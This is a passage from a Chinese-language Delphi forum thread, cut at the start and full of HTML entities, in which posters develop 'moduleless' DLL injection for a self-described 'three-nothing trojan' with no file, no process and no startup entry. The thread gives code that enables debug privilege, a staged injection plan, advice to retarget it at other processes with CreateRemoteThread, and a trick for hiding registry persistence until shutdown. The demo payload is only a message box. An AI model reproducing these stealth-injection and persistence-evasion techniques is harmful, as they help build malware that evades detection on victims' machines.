sp;False;<br>&nbsp;&nbsp;if&nbsp;(OpenProcessToken(GetCurrentProcess(),&nbsp;TOKEN_ADJUST_PRIVILEGES,&nbsp;hToken))&nbsp;then<br>&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;tp.PrivilegeCount&nbsp;:=&nbsp;1;<br>&nbsp;&nbsp;&nbsp;&nbsp;LookupPrivilegeValue(nil,&nbsp;SE_DEBUG_NAME,&nbsp;tp.Privileges[0].Luid);<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;bEnabled&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tp.Privileges[0].Attributes&nbsp;:=&nbsp;SE_PRIVILEGE_ENABLED<br>&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tp.Privileges[0].Attributes&nbsp;:=&nbsp;0;<br>&nbsp;&nbsp;&nbsp;&nbsp;a&nbsp;:=&nbsp;0;<br>&nbsp;&nbsp;&nbsp;&nbsp;AdjustTokenPrivileges(hToken,&nbsp;False,&nbsp;tp,&nbsp;SizeOf(tp),&nbsp;nil,&nbsp;a);<br>&nbsp;&nbsp;&nbsp;&nbsp;Result&nbsp;:=&nbsp;GetLastError&nbsp;=&nbsp;ERROR_SUCCESS;<br>&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(hToken);<br>&nbsp;&nbsp;end;<br>end;<br><br>end.
 
//DLL模块内容<br>library&nbsp;inProcs1;<br><br>uses<br>&nbsp;&nbsp;SysUtils,<br>&nbsp;&nbsp;Windows,<br>&nbsp;&nbsp;Classes;<br><br>{$R&nbsp;*.res}<br>//{$IMAGEBASE&nbsp;$02000000}<br><br>procedure&nbsp;inJet();<br>begin<br>&nbsp;&nbsp;While&nbsp;MessageBox(0,&nbsp;'成功了!现在退出?',&nbsp;'Form&nbsp;DLL',&nbsp;MB_YESNO)&lt;&gt;idYes&nbsp;do<br>&nbsp;&nbsp;&nbsp;&nbsp;Sleep(2000);<br><br>&nbsp;&nbsp;ExitThread(0);&nbsp;//退出线程,否则后面的ret不知道会跳向何处<br>&nbsp;&nbsp;//千万不要用&nbsp;Halt(0);&nbsp;这是我N次重启换来血的教训<br>end;<br><br>exports<br>&nbsp;&nbsp;inJet;<br><br>begin<br>end.<br><br><br>最初的设想是这样的:<br>测试阶段1:(已实现)<br>1.载入DLL<br>2.复制DLL到目标区域<br>3.卸载DLL<br>4.申请原DLL的空间,并将暂存的数据写回<br>5.执行DLL中目标函数<br><br><br><br>测试阶段2:<br>1.载入DLL<br>2.复制DLL到目标区域,修改写回进程偏移量<br>3.调用&quot;写回进程&quot;<br><br>阶段3&nbsp;完整的DLL:<br>1.复制DLL自身到目标任意内存区域<br>2.在新开辟的内存区里执行&quot;写回进程&quot;<br>3.退出DLL<br><br>&quot;写回进程&quot;(将DLL写回原来位置):<br>1.等待几秒,以便DLL被释放<br>2.申请原DLL的空间,并将暂存的数据写回<br>3.执行目的过程<br>4.自己退出(Halt(0);)<br><br>这个设想是为了实现“三无木马”(无文件、无进程、无启动项),灵感来自于ByShell。<br>研究成功的话,传统的DLL注射就可以抛弃了!
 
好好看看回调函数
 
请问一下二无木马怎么做?<br>无进程、无启动项就行了。<br>我有用处,但不是搞破坏。
 
差不多就是我上两层贴的那段代码,外部载入一个DLL,然后无模块的运行DLL中inJet过程。<br>原理是:载入DLL,将映射后数据移动到另一块区域,FreeLibrary,最后将DLL数据写回。<br>//----------------------&nbsp;阶段1&nbsp;----------------------<br>unit&nbsp;CopyMem_Main;<br>....<br>你直接复制到Delphi里,试试就明白了,原理很简单的。<br><br>把GetCurrentProcessId()改成你要注射的进程ID,然后将CreateThread(nil,改成CreateRemoteThread(hProcess,&nbsp;nil,<br>就能对其它进程使用了。<br>至于如何无启动项,至少现在只能是程序运行时删除注册表键值,关机前写回(截获WM_QUERYENDSESSION消息)。只是这样做和ByShell里提到的一样,一旦机器断电或者强行拉掉电源,这木马就死了个彻彻底底...<br><br>PS:我也不是搞破坏啦,只是看了ByShell的源码,想用Delphi实现而已。<br>再PS:如果把无启动项也解决了,那岂不是开创木马技术的新纪元?真正的杀不掉,还带自动复活...
 
多人接受答案了。
 
TO&nbsp;木桩<br>那个无模块的例子动行的时候好像会出错啊.
 
对自身程序没问题,我是在SP2+Delphi2006下编译的。<br>不过要是想应用到实际之中,就需要一定改变了,诸如API重定向等...<br><br>我的设想是通过一个跳板DLL,载入并映射目标,但是现在还是有点问题啦。
 
可能是我水平问题.<br>5.执行DLL中目标函数&nbsp;时没反应.之后就出错.<br>我再领悟一下.谢谢你的关注!
 
你在执行目标函数前,先检查一下写入的数据是否正确(用WinHex之类的查看目标进程的写入区域)<br>再一个可能是CreateRemoteThread的问题,按我的第二个思路,总是无法实现API的正常返回。<br><br>要是还没检查出错误,留下你的Email,我把新写的&nbsp;DLL无模块注射&nbsp;发给你,<br>虽然这个程序还有不少问题,比如DLL基址不能被目标进程使用,以及需要外部程序配合才能完成注射(我本来想的是依靠1-2个DLL自动完成的),但基本功能已经实现了。<br>其实也算投机取巧,先在自己程序里LoadLibrary,然后把映射后内容整个注射到目标进程。所以限制了DLL基址的位置。
 
我的EMAIL:&nbsp;ljmzw@hotmail.com<br>谢谢你耐心的指导,让我学到了好多东西.谢谢啦..
 
发过去了,附件里只有源码,你重新编译一下。<br><br>邮件发送成功!<br>邮件已通过卡巴斯基杀毒引擎扫描,并保存到“已发送”文件夹<br>您已经成功将信发送到:&nbsp;<br>ljmzw@hotmail.com<br>点击此处将收信人保存到通讯录
 

Similar threads

S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
S
回复
0
查看
2K
SUNSTONE的Delphi笔记
S
后退
顶部